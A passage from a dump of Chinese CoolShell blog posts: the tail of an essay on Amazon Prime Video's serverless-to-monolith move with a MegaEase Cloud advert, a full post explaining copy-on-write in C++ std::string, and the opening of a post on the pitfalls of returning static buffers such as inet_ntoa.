id=\"more-22422\"></span></p>\n<h4>原文解读</h4>\n<p>要认清这个问题首先是要认认真真读一读原文，Amazon Prime Video 技术团队的这篇文章并不难读，也没有太多的技术细节，但核心意思如下：</p>\n<p>1）<strong>这个系统是一个监控系统，用于监控数据千条用户的点播视频流</strong>。主要是监控整个视频流运作的质量和效果（比如：视频损坏或是音频不同步等问题），这个监控主要是处理视频帧，所以，他们有一个微服务主要是用来把视频拆分成帧，并临时存在 S3 上，就是下图中的 Media Conversion 服务。</p>\n<p>2）<strong>为了快速搭建系统，Prime Video团队使用了Serverless 架构，也就是著名的 AWS Lambda 和 AWS Step Functions</strong>。前置 Lambda 用来做用户请求的网关，Step Function 用来做监控（探测器），有问题后，就发 SNS 上，Step Function 从 S3 获取 Media Conversion 的数据，然后把运行结果再汇总给一个后置的 Lambda ，并存在 S3 上。</p>\n<p><img alt=\"\" class=\"aligncenter wp-image-22423\" height=\"496\" src=\"../wp-content/uploads/2023/05/prime.01.webp\" width=\"624\"/></p>\n<p>整个架构看上去非常简单 ，一点也不复杂，而且使用了 Serverless 的架构，一点服务器的影子都看不见。<strong>实话实说，这样的开发不香吗？我觉得很香啊，方便快捷，完全不理那些无聊的基础设施，直接把代码转成服务，然后用 AWS 的 Lamda + Step Function + SNS + S3 分分钟就搭出一个有模有样的监控系统了，哪里不好了？！</strong></p>\n<p>但是他们遇到了一个比较大的问题，就是 AWS Step Function 的伸缩问题，从文章中我看到了两个问题（注意前方高能）：</p>\n<ol>\n<li>需要很多很多的并发的 AWS Step Function ，于是达到了帐户的 hard limit。</li>\n<li>AWS Step Function 按状态转换收费，所以，贵得受不了了。</li>\n</ol>\n<p>注意，这里有两个关键点：1）<strong>帐户对 Step Function 有限制</strong>，2）<strong>Step Function 太贵了用不起</strong>。</p>\n<p>然后，Prime Video 的团队开始解决问题，下面是解决的手段：</p>\n<p>1） 把 Media Conversion  和 Step Function 全部写在一个程序里，Media Conversion 跟 Step Function 里的东西通过内存通信，不再走S3了。结果汇总到一个线程中，然后写到 S3.</p>\n<p>2）把上面这个单体架构进行分布式部署，还是用之前的 AWS Lambda 来做入门调度。</p>\n<p>EC2 的水平扩展没有限制，而且你想买多少 CPU/MEM 的机器由你说了算，而这些视频转码，监控分析的功能感觉就不复杂，本来就应该写在一起，这么做不更香吗？当然更香，比前面的 Serverless 的确更香，因为如下的几个原因：</p>\n<ol>\n<li>不再受 Step Function 的限制了，技术在自己手里，有更大的自由度。</li>\n<li>没有昂贵的 Step Function 云成本的确变得更低了，如果你把 Lambda 换成 Nginx 或 Spring Gateway 或是我司的 <a href=\"https://github.com/megaease/easegress\" rel=\"noopener\" target=\"_blank\">Easegress</a>，你把 S3 换成 MinIO，你把 SNS 换成 Kafka，你的成本 还能再低。</li>\n</ol>\n<h4>独立思考</h4>\n<p>好了，原文解读完了，你有自己的独立思考了吗？下面是我的独立思考，供你参考：</p>\n<p>1）<strong>AWS 的 Serverless 也好， 微服务也好，单体也好，在合适的场景也都很香</strong>。这就跟汽车一样，跑车，货车，越野车各有各的场景，你用跑车拉货，还是用货车泡妞都不是一个很好的决定。</p>\n<p>2）<strong>这篇文章中的这个例子中的业务太过简单了，本来就是一两个服务就可以干完的事。</strong>就是一个转码加分析的事，要分开的话，就两个微服务就好了（一个转码一个分析），做成流式的。如果不想分，合在一起也没问题了，这个粒度是微服务没毛病。微服务的划分有好些原则，我这里只罗列几个比较重要的原则：</p>\n<ul>\n<li><strong>边界上下文</strong>。微服务的粒度不能大于领域驱动里的 Bounded Context（具体是什么 大家自行 Google），也就是一个业务域。</li>\n<li><strong>单一职责，高内聚，低耦合</strong>。把因为相同原因变化的合在一起（内聚），把不同原因变化的分开（解耦）</li>\n<li><strong>事务和一致性</strong>。对于两个重度依赖的功能，需要完成一个事务和要保证强一致性的，最好不要拆开，要放在一起。</li>\n<li><strong>跟组织架构匹配</strong>。把同一个团队的东西放在一起，不同团队的分开。</li>\n</ul>\n<p>3）<strong>Prime Video 遇到的问题不是技术问题，而是 AWS  Step Function 处理能力不足，而且收费还很贵的问题</strong>。这个是 AWS 的产品问题，不是技术问题。或者说，这个是Prime Video滥用了Step Function的问题（本来这种大量的数据分析处理就不适合Step Function）。所以，大家不要用一个产品问题来得到微服务架构有问题的结论，这个没有因果关系。<strong>试问，如果 Step Funciton 可以无限扩展，性能也很好，而且白菜价，那么 Prime Video 团队还会有动力改成单体吗？他们不会反过来吹爆 Serverless 吗？</strong></p>\n<p>4）Prime Video 跟 AWS 是两个独立核算的公司，就像 Amazon 的电商和 AWS 一样，也是两个公司。Amazon 的电商和 AWS 对服务化或是微服务架构的理解和运维，我个人认为这个世界上再也找不到另外一家公司了，包括 Google 或 Microsoft。你有空可以看看本站以前的这篇文章《<a href=\"https://coolshell.cn/articles/5701.html\" title=\"SteveY对Amazon和Google平台的吐槽\">Steve Yegg对Amazon和Google平台的吐槽</a>》你会了解的更多。</p>\n<p>5）<strong>Prime Video 这个案例本质上是“下云”，下了 AWS Serverless 的云</strong>。云上的成本就是高，一个是费用问题，另一个是被锁定的问题。Prime Video 团队应该很庆幸这个监控系统并不复杂，重写起来也很快，所以，可以很快使用一个更传统的“服务化”+“云计算”的分布式架构，不然，就得像 DHH 那样咬牙下云——《<a href=\"https://world.hey.com/dhh/why-we-re-leaving-the-cloud-654b47e0\" rel=\"noopener\" target=\"_blank\">Why We’re Leaving the Cloud</a>》（他们的 SRE 的这篇博文 <a href=\"https://dev.37signals.com/our-cloud-spend-in-2022/\" rel=\"noopener\" target=\"_blank\">Our Cloud Spend in 2022</a>说明了下云的困难和节约了多少成本）</p>\n<h4>后记</h4>\n<p>最后让我做个我自己的广告。我在过去几年的创业中，帮助了很多公司解决了这些 分布式，微服务，云原生以及云计算成本的问题，如果你也有类似问题。欢迎，跟我联系：<a href=\"mailto:haoel@hotmail.com\">haoel@hotmail.com</a></p>\n<p>另外，我们今年发布了一个平台 MegaEase Cloud，<strong> 就是想让用户在不失去云计算体验的同时，通过自建高可用基础架构的方式来获得更低的成本（至少降 50%的云计算成本）。</strong>目前可以降低成本的方式：</p>\n<ol>\n<li>基础软件：通过开源软件自建，</li>\n<li>内容分发：MinIO + Cloudflare 的免费 CDN，</li>\n<li>马上准备发布的直接与底层IDC合作的廉价GPU计算资源…</li>\n</ol>\n<p><strong>欢迎大家试用。</strong></p>\n<p><strong>如何访问</strong></p>\n<ul>\n<li>中国区:   <a href=\"https://cloud.megaease.cn\" rel=\"noopener\" target=\"_blank\">https://cloud.megaease.cn </a></li>\n<li>国际区：<a href=\"https://cloud.megaease.com\" rel=\"noopener\" target=\"_blank\">https://cloud.megaease.com</a></li>\n</ul>\n<p><strong>注：这两个区完全独立，帐号不互通。因为网络的不可抗力，千万不要跨区使用。</strong></p>\n<p><strong>产品演示</strong></p>\n<ul>\n<li><a href=\"https://www.bilibili.com/video/BV17v4y1R7mA/\" rel=\"noopener\" target=\"_blank\">https://www.bilibili.com/video/BV17v4y1R7mA/</a></li>\n</ul>\n<p><strong>介绍文章</strong></p>\n<ul>\n<li><a href=\"https://megaease.cn/zh/blog/2023/02/15/welcome-to-megaease-cloud/\" rel=\"noopener\" target=\"_blank\">欢迎使用 MegaEase Cloud </a></li>\n<li><a href=\"https://megaease.cn/zh/blog/2023/04/06/megaease-cloud-2023.03-significant-update/\" rel=\"noopener\" target=\"_blank\">2023 年 03 月重大更新</a></li>\n</ul>\n<p> </p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17737.html\"><img alt=\"AWS 的 S3 故障回顾和思考\" height=\"150\" src=\"../wp-content/uploads/2017/03/Amazon-Web-Services-Down-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17737.html\">AWS 的 S3 故障回顾和思考</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10476.html\"><img alt=\"C++11的Lambda使用一例：华容道求解\" height=\"150\" src=\"../wp-content/uploads/2013/10/huarong-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10476.html\">C++11的Lambda使用一例：华容道求解</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4601.html\"><img alt=\"关于Amazon云宕机的网贴收集\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4601.html\">关于Amazon云宕机的网贴收集</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11.html\"><img alt=\"PHP v5.3的新鲜玩意\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11.html\">PHP v5.3的新鲜玩意</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1928.html\"><img alt=\"如何使用Python操作摄像头\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1928.html\">如何使用Python操作摄像头</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3277.html\"><img alt=\"超强的验证码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3277.html\">超强的验证码</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/22422.html\">是微服务架构不香还是云不香？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html2markdown/2004-6-23 C++ STL string的Copy-On-Write技术.md",
    "content": "---\nlayout: post\ntitle: C++ STL string的Copy-On-Write技术\ndate: 2004/6/23/ 2:36:50\nupdated: 2004/6/23/ 2:36:50\nstatus: publish\npublished: true\ntype: post\n---\n\nScott Meyers在《More Effective C++》中举了个例子，不知你是否还记得？在你还在上学的时候，你的父母要你不要看电视，而去复习功课，于是你把自己关在房间里，做出一副正在复习功课的样子，其实你在干着别的诸如给班上的某位女生写情书之类的事，而一旦你的父母出来在你房间要检查你是否在复习时，你才真正捡起课本看书。这就是“拖延战术”，直到你非要做的时候才去做。\n\n\n当然，这种事情在现实生活中时往往会出事，但其在编程世界中摇身一变，就成为了最有用的技术，正如C++中的可以随处声明变量的特点一样，Scott Meyers推荐我们，在真正需要一个存储空间时才去声明变量（分配内存），这样会得到程序在运行时最小的内存花销。执行到那才会去做分配内存这种比较耗时的工作，这会给我们的程序在运行时有比较好的性能。必竟，20%的程序运行了80%的时间。\n\n\n当然，拖延战术还并不只是这样一种类型，这种技术被我们广泛地应用着，特别是在操作系统当中，当一个程序运行结束时，操作系统并不会急着把其清除出内存，原因是有可能程序还会马上再运行一次（从磁盘把程序装入到内存是个很慢的过程），而只有当内存不够用了，才会把这些还驻留内存的程序清出。\n\n\n写时才拷贝（Copy-On-Write）技术，就是编程界“懒惰行为”——拖延战术的产物。举个例子，比如我们有个程序要写文件，不断地根据网络传来的数据写，如果每一次fwrite或是fprintf都要进行一个磁盘的I/O操作的话，都简直就是性能上巨大的损失，因此通常的做法是，每次写文件操作都写在特定大小的一块内存中（磁盘缓存），只有当我们关闭文件时，才写到磁盘上（这就是为什么如果文件不关闭，所写的东西会丢失的原因）。更有甚者是文件关闭时都不写磁盘，而一直等到关机或是内存不够时才写磁盘，Unix就是这样一个系统，如果非正常退出，那么数据就会丢失，文件就会损坏。\n\n\n呵呵，为了性能我们需要冒这样大的风险，还好我们的程序是不会忙得忘了还有一块数据需要写到磁盘上的，所以这种做法，还是很有必要的。\n\n\n\n#### STL类std::string的Copy-On-Write\n\n\n在我们经常使用的STL标准模板库中的string类，也是一个具有写时才拷贝技术的类。C++曾在性能问题上被广泛地质疑和指责过，为了提高性能，STL中的许多类都采用了Copy-On-Write技术。这种偷懒的行为的确使使用STL的程序有着比较高要性能。\n\n\n这里，我想从C++类或是设计模式的角度为各位揭开Copy-On-Write技术在string中实现的面纱，以供各位在用C++进行类库设计时做一点参考。\n\n\n在讲述这项技术之前，我想简单地说明一下string类内存分配的概念。通过常，string类中必有一个私有成员，其是一个char\\*，用户记录从堆上分配内存的地址，其在构造时分配内存，在析构时释放内存。因为是从堆上分配内存，所以string类在维护这块内存上是格外小心的，string类在返回这块内存地址时，只返回const char\\*，也就是只读的，如果你要写，你只能通过string提供的方法进行数据的改写。\n\n\n#### 特性\n\n\n由表及里，由感性到理性，我们先来看一看string类的Copy-On-Write的表面特征。让我们写下下面的一段程序：\n\n\n\n```\n#include <stdio.h>\n#include <string>\nusing namespace std;\n \nmain()\n{\n    string str1 = \"hello world\";\n    string str2 = str1;\n\n    printf (\"Sharing the memory:/n\");\n    printf (\"/tstr1's address: %x/n\", str1.c_str() );\n    printf (\"/tstr2's address: %x/n\", str2.c_str() );\n\n    str1[1]='q';\n    str2[1]='w';\n\n    printf (\"After Copy-On-Write:/n\");\n    printf (\"/tstr1's address: %x/n\", str1.c_str() );\n    printf (\"/tstr2's address: %x/n\", str2.c_str() );\n\n    return 0;\n}\n```\n\n这个程序的意图就是让第二个string通过第一个string构造，然后打印出其存放数据的内存地址，然后分别修改str1和str2的内容，再查一下其存放内存的地址。程序的输出是这样的（我在VC6.0和g++ 2.95都得到了同样的结果）：\n\n\n\n```\n> g++ -o stringTest stringTest.cpp\n> ./stringTest\nSharing the memory:\n        str1's address: 343be9\n        str2's address: 343be9\nAfter Copy-On-Write:\n        str1's address: 3407a9\n        str2's address: 343be9\n```\n\n从结果中我们可以看到，在开始的两个语句后，str1和str2存放数据的地址是一样的，而在修改内容后，str1的地址发生了变化，而str2的地址还是原来的。从这个例子，我们可以看到string类的Copy-On-Write技术。\n\n\n####  深入\n\n\n在深入这前，通过上述的演示，我们应该知道在string类中，要实现写时才拷贝，需要解决两个问题，一个是内存共享，一个是Copy-On-Wirte，这两个主题会让我们产生许多疑问，还是让我们带着这样几个问题来学习吧：\n\n\n1、  Copy-On-Write的原理是什么？\n\n\n2、  string类在什么情况下才共享内存的？\n\n\n3、  string类在什么情况下触发写时才拷贝（Copy-On-Write）?\n\n\n4、  Copy-On-Write时，发生了什么？\n\n\n5、  Copy-On-Write的具体实现是怎么样的？\n\n\n喔，你说只要看一看STL中stirng的源码你就可以找到答案了。当然，当然，我也是参考了string的父模板类basic\\_string的源码。但是，如果你感到看STL的源码就好像看机器码，并严重打击你对C++自信心，乃至产生了自己是否懂C++的疑问，如果你有这样的感觉，那么还是继续往下看我的这篇文章吧。\n\n\nOK，让我们一个问题一个问题地探讨吧，慢慢地所有的技术细节都会浮出水面的。\n\n\n \n\n\n#### Copy-On-Write的原理是什么？\n\n\n有一定经验的程序员一定知道，Copy-On-Write一定使用了“引用计数”，是的，必然有一个变量类似于RefCnt。当第一个类构造时，string的构造函数会根据传入的参数从堆上分配内存，当有其它类需要这块内存时，这个计数为自动累加，当有类析构时，这个计数会减一，直到最后一个类析构时，此时的RefCnt为1或是0，此时，程序才会真正的Free这块从堆上分配的内存。\n\n\n是的，**引用计数就是string类中写时才拷贝的原理**！\n\n\n不过，问题又来了，这个RefCnt该存在在哪里呢？如果存放在string类中，那么每个string的实例都有各自的一套，根本不能共有一个RefCnt，如果是声明成全局变量，或是静态成员，那就是所有的string类共享一个了，这也不行，我们需要的是一个“民主和集中”的一个解决方法。这是如何做到的呢？呵呵，人生就是一个糊涂后去探知，知道后和又糊涂的循环过程。别急别急，在后面我会给你一一道来的。\n\n\n \n\n\n#### string类在什么情况下才共享内存的？\n\n\n \n\n\n这个问题的答案应该是明显的，根据常理和逻辑，如果一个类要用另一个类的数据，那就可以共享被使用类的内存了。这是很合理的，如果你不用我的，那就不用共享，只有你使用我的，才发生共享。\n\n\n \n\n\n使用别的类的数据时，无非有两种情况，1）以别的类构造自己，2）以别的类赋值。第一种情况时会触发拷贝构造函数，第二种情况会触发赋值操作符。这两种情况我们都可以在类中实现其对应的方法。对于第一种情况，只需要在string类的拷贝构造函数中做点处理，让其引用计数累加；同样，对于第二种情况，只需要重载string类的赋值操作符，同样在其中加上一点处理。\n\n\n唠叨几句：\n\n\n**1）构造和赋值的差别**\n\n\n对于前面那个例程中的这两句：\n\n\n\n```\nstring str1 = \"hello world\";\n\nstring str2 = str1;\n```\n\n不要以为有“=”就是赋值操作，其实，这两条语句等价于：\n\n\n\n```\nstring str1 (\"hello world\");   //调用的是构造函数\n\nstring str2 (str1);            //调用的是拷贝构造函数\n```\n\n如果str2是下面的这样情况：\n\n\n\n```\nstring str2;      //调用参数默认为空串的构造函数：string str2(“”);\n\nstr2 = str1;     //调用str2的赋值操作：str2.operator=(str1);\n```\n\n**2) 另一种情况**\n\n\n\n```\nchar tmp[]=”hello world”;\n\nstring str1 = tmp;\n\nstring str2 = tmp;\n```\n\n这种情况下会触发内存的共享吗？想当然的，应该要共享。可是根据我们前面所说的共享内存的情况，两个string类的声明和初始语句并不符合我前述的两种情况，所以其并不发生内存共享。而且，C++现有特性也无法让我们做到对这种情况进行类的内存共享。\n\n\n#### string类在什么情况下触发写时才拷贝（Copy-On-Write）?\n\n\n哦，什么时候会发现写时才拷贝？很显然，当然是在共享同一块内存的类发生内容改变时，才会发生Copy-On-Write。比如string类的[]、=、+=、+、操作符赋值，还有一些string类中诸如insert、replace、append等成员函数,包括类的析构时。\n\n\n修改数据才会触发Copy-On-Write，不修改当然就不会改啦。这就是托延战术的真谛，非到要做的时候才去做。\n\n\n#### Copy-On-Write时，发生了什么？\n\n\n我们可能根据那个访问计数来决定是否需要拷贝，参看下面的代码：\n\n\n\n```\nIf  ( RefCnt>0 ) {\n    char* tmp =  (char*) malloc(strlen(_Ptr)+1);\n    strcpy(tmp, _Ptr);\n    _Ptr = tmp;\n}\n```\n\n \n\n\n上面的代码是一个假想的拷贝方法，如果有别的类在引用（检查引用计数来获知）这块内存，那么就需要把更改类进行“拷贝”这个动作。\n\n\n我们可以把这个拷的运行封装成一个函数，供那些改变内容的成员函数使用。\n\n\n#### Copy-On-Write的具体实现是怎么样的？\n\n\n最后的这个问题，我们主要解决的是那个“民主集中”的难题。请先看下面的代码：\n\n\n\n```\nstring h1 = “hello”;\nstring h2= h1;\nstring h3;\nh3 = h2;\n \nstring w1 = “world”;\nstring w2(“”);\nw2=w1;\n```\n\n很明显，我们要让h1、h2、h3共享同一块内存，让w1、w2共享同一块内存。因为，在h1、h2、h3中，我们要维护一个引用计数，在w1、w2中我们又要维护一个引用计数。\n\n\n如何使用一个巧妙的方法产生这两个引用计数呢？我们想到了string类的内存是在堆上动态分配的，既然共享内存的各个类指向的是同一个内存区，我们为什么不在这块区上多分配一点空间来存放这个引用计数呢？这样一来，所有共享一块内存区的类都有同样的一个引用计数，而这个变量的地址既然是在共享区上的，那么所有共享这块内存的类都可以访问到，也就知道这块内存的引用者有多少了。\n\n\n请看下图：\n\n\n![o_string](../wp-content/uploads/2014/12/o_string.jpg)\n\n\n于是，有了这样一个机制，每当我们为string分配内存时，我们总是要多分配一个空间用来存放这个引用计数的值，只要发生拷贝构造可是赋值时，这个内存的值就会加一。而在内容修改时，string类为查看这个引用计数是否为0，如果不为零，表示有人在共享这块内存，那么自己需要先做一份拷贝，然后把引用计数减去一，再把数据拷贝过来。下面的几个程序片段说明了这两个动作：\n\n\n\n```\n//构造函数（分存内存）\n    string::string(const char* tmp)\n{\n    _Len = strlen(tmp);\n    _Ptr = new char[_Len+1+1];\n    strcpy( _Ptr, tmp );\n    _Ptr[_Len+1]=0;  // 设置引用计数  \n}\n \n//拷贝构造（共享内存）\n    string::string(const string& str)\n    {\n         if (*this != str){\n              this->_Ptr = str.c_str();   //共享内存\n              this->_Len = str.szie();\n              this->_Ptr[_Len+1] ++;  //引用计数加一\n         }\n}\n \n//写时才拷贝Copy-On-Write\nchar& string::operator[](unsigned int idx)\n{\n    if (idx > _Len || _Ptr == 0 ) {\n         static char nullchar = 0;\nreturn nullchar;\n          }\n   \n_Ptr[_Len+1]--;   //引用计数减一\n    char* tmp = new char[_Len+1+1];\n    strncpy( tmp, _Ptr, _Len+1);\n    _Ptr = tmp;\n    _Ptr[_Len+1]=0; // 设置新的共享内存的引用计数\n   \n    return _Ptr[idx];\n}\n\n//析构函数的一些处理\n~string()\n{ \n_Ptr[_Len+1]--;   //引用计数减一\n   \n         // 引用计数为0时，释放内存 \n    if (_Ptr[_Len+1]==0) {\n        delete[] _Ptr;\n         }\n \n}\n```\n\n哈哈，整个技术细节完全浮出水面。\n\n\n \n\n\n不过，这和STL中basic\\_string的实现细节还有一点点差别，在你打开STL的源码时，你会发现其取引用计数是通过这样的访问：\\_Ptr[-1]，标准库中，把这个引用计数的内存分配在了前面（我给出来的代码是把引用计数分配以了后面，这很不好），分配在前的好处是当string的长度扩展时，只需要在后面扩展其内存，而不需要移动引用计数的内存存放位置，这又节省了一点时间。\n\n\nSTL中的string的内存结构就像我前面画的那个图一样，\\_Ptr指着是数据区，而RefCnt则在\\_Ptr-1 或是\\_Ptr[-1]处。\n\n\n#### 副作用\n\n\n是谁说的“有太阳的地方就会有黑暗”？或许我们中的许多人都很迷信标准的东西，认为其是久经考验，不可能出错的。呵呵，千万不要有这种迷信，因为任何设计再好，编码再好的代码在某一特定的情况下都会有Bug，STL同样如此，string类的这个共享内存/写时才拷贝技术也不例外，而且这个Bug或许还会让你的整个程序crash掉！\n\n\n不信？！那么让我们来看一个测试案例。假设有一个动态链接库（叫myNet.dll或myNet.so）中有这样一个函数返回的是string类：\n\n\n\n```\nstring GetIPAddress(string hostname)\n{\n    static string ip;\n    ……\n    ……\n    return ip;\n}\n```\n\n而你的主程序中动态地载入这个动态链接库，并调用其中的这个函数：\n\n\n\n```\nmain()\n{\n    //载入动态链接库中的函数\n    hDll = LoadLibraray(…..);\n    pFun =  GetModule(hDll, “GetIPAddress”);\n     \n    //调用动态链接库中的函数\n    string ip = (*pFun)(“host1”);\n    ……\n    ……\n    //释放动态链接库\n    FreeLibrary(hDll);\n    ……\n    cout << ip << endl;\n}\n```\n\n让我们来看看这段代码，程序以动态方式载入动态链接库中的函数，然后以函数指针的方式调用动态链接库中的函数，并把返回值放在一个string类中，然后释放了这个动态链接库。释放后，输入ip的内容。\n\n\n根据函数的定义，我们知道函数是“值返回”的，所以，函数返回时，一定会调用拷贝构造函数，又根据string类的内存共享机制，在主程序中变量ip是和函数内部的那个静态string变量共享内存（这块内存区是在动态链接库的地址空间的）。而我们假设在整个主程序中都没有对ip的值进行修改过。那么在当主程序释放了动态链接库后，那个共享的内存区也随之释放。所以，以后对ip的访问，必然做造成内存地址访问非法，造成程序crash。即使你在以后没有使用到ip这个变量，那么在主程序退出时也会发生内存访问异常，因为程序退出时，ip会析构，在析构时就会发生内存访问异常。\n\n\n内存访问异常，意味着两件事：1）无论你的程序再漂亮，都会因为这个错误变得暗淡无光，你的声誉也会因为这个错误受到损失。2）未来的一段时间，你会被这个系统级错误所煎熬（在C++世界中，找到并排除这种内存错误并不是一件容易的事情）。这是C/C++程序员永远的心头之痛，千里之堤，溃于蚁穴。而如果你不清楚string类的这种特征，在成千上万行代码中找这样一个内存异常，简直就是一场噩梦。\n\n\n备注：要改正上述的Bug，有很多种方法，这里提供一种仅供参考：\n\n\n`string ip = (*pFun)(“host1”).cstr();`\n\n\n#### 后记\n\n\n \n\n\n文章到这里也应该结束了，这篇文章的主要有以下几个目的：\n\n\n1）向大家介绍一下写时才拷贝/内存共享这种技术。  \n\n2）以STL中的string类为例，向大家介绍了一种设计模式。  \n\n3）在C++世界中，无论你的设计怎么精巧，代码怎么稳固，都难以照顾到所有的情况。智能指针更是一个典型的例子，无论你怎么设计，都会有非常严重的BUG。  \n\n4）C++是一把双刃剑，只有了解了原理，你才能更好的使用C++。否则，必将引火烧身。如果你在设计和使用类库时有一种“玩C++就像玩火，必须千万小心”的感觉，那么你就入门了，等你能把这股“火”控制的得心应手时，那才是学成了。\n\n\n**更新：在最新的STL中，这个特性已经被去掉了。有一个原因是线程不安全！COW其实还是比较危险的。**\n\n\n（全文完）\n\n\n \n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Google图片搜索下的的C String](../wp-content/uploads/2011/02/C_String-150x150.jpg)](https://coolshell.cn/articles/3806.html)[Google图片搜索下的的C String](https://coolshell.cn/articles/3806.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg](https://coolshell.cn/articles/3036.html)[面向对象是个骗局？！](https://coolshell.cn/articles/3036.html)\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\nThe post [C++ STL string的Copy-On-Write技术](https://coolshell.cn/articles/12199.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2006-11-16 C_C++返回内部静态成员的陷阱.md",
    "content": "---\nlayout: post\ntitle: C/C++返回内部静态成员的陷阱\ndate: 2006/11/16/ 2:12:11\nupdated: 2006/11/16/ 2:12:11\nstatus: publish\npublished: true\ntype: post\n---\n\n\n在我们用C/C++开发的过程中，总是有一个问题会给我们带来苦恼。这个问题就是函数内和函数外代码需要通过一块内存来交互（比如，函数返回字符串），这个问题困扰和很多开发人员。如果你的内存是在函数内栈上分配的，那么这个内存会随着函数的返回而被弹栈释放，所以，你一定要返回一块函数外部还有效的内存。\n\n\n这是一个让无数人困扰的问题。如果你一不小心，你就很有可能在这个上面犯错误。当然目前有很多解决方法，如果你熟悉一些标准库的话，你可以看到许多各式各样的解决方法。大体来说有下面几种：\n\n\n1）在函数内部通过malloc或new在堆上分配内存，然后把这块内存返回（因为在堆上分配的内存是全局可见的）。这样带来的问题就是潜在的内存问题。因为，如果返回出去的内存不释放，那么就是memory Leak。或者是被多次释放，从而造成程序的crash。这两个问题都相当的严重，所以这种设计方法并不推荐。（在一些Windows API中，当你调用了一些API后，你必需也要调用他的某些API来释放这块内存）\n\n\n2）让用户传入一块他自己的内存地址，而在函数中把要返回的内存放到这块内存中。这是一个目前普遍使用的方式。很多Windows API函数或是标准C函数都需要你传入一个buffer和这个buffer的长度。这种方式对我们来说应该是屡见不鲜了。这种方式的好处就是由函数外部的程序来维护这块内存，比较简显直观。但问题就是在使用上稍许有些麻烦。不过这种方式把犯错误的机率减到了最低。\n\n\n3）第三种方式显得比较另类，他利用了static的特性，static的栈内存一旦分配，那这块内存不会随着函数的返回而释放，而且，它是全局可见的（只要你有这块内存的地址）。所以，有一些函数使用了static的这个特性，即不用使用堆上的内存，也不需要用户传入一个buffer和其长度。从而，使用得自己的函数长得很漂亮，也很容易使用。\n\n\n这里，我想对第三个方法进行一些讨论。使用static内存这个方法看似不错，但是它有让你想象不到的陷阱。让我们来用一个实际发生的案例来举一个例子吧。\n\n\n\n#### **示例**\n\n\n有过socket编程经验的人一定知道一个函数叫：inet\\_ntoa，这个函数主要的功能是把一个数字型的IP地址转成字符串，这个函数的定义是这样的（注意它的返回值）：\n\n\n**char \\*inet\\_ntoa(struct in\\_addr in);**\n\n\n显然，这个函数不会分配堆上的内存，而他又没有让你传一下字符串的buffer进入，那么他一定使用“返回static char[]”这种方法。在我们继续我们的讨论之前，让我们先了解一下IP地址相关的知识，下面是inet\\_ntoa这个函数需要传入的参数：（也许你会很奇怪，只有一个member的struct还要放在struct中干什么？这应该是为了程序日后的扩展性的考虑）\n\n\n**struct in\\_addr {  \n\nunsigned long int s\\_addr;  \n\n}**  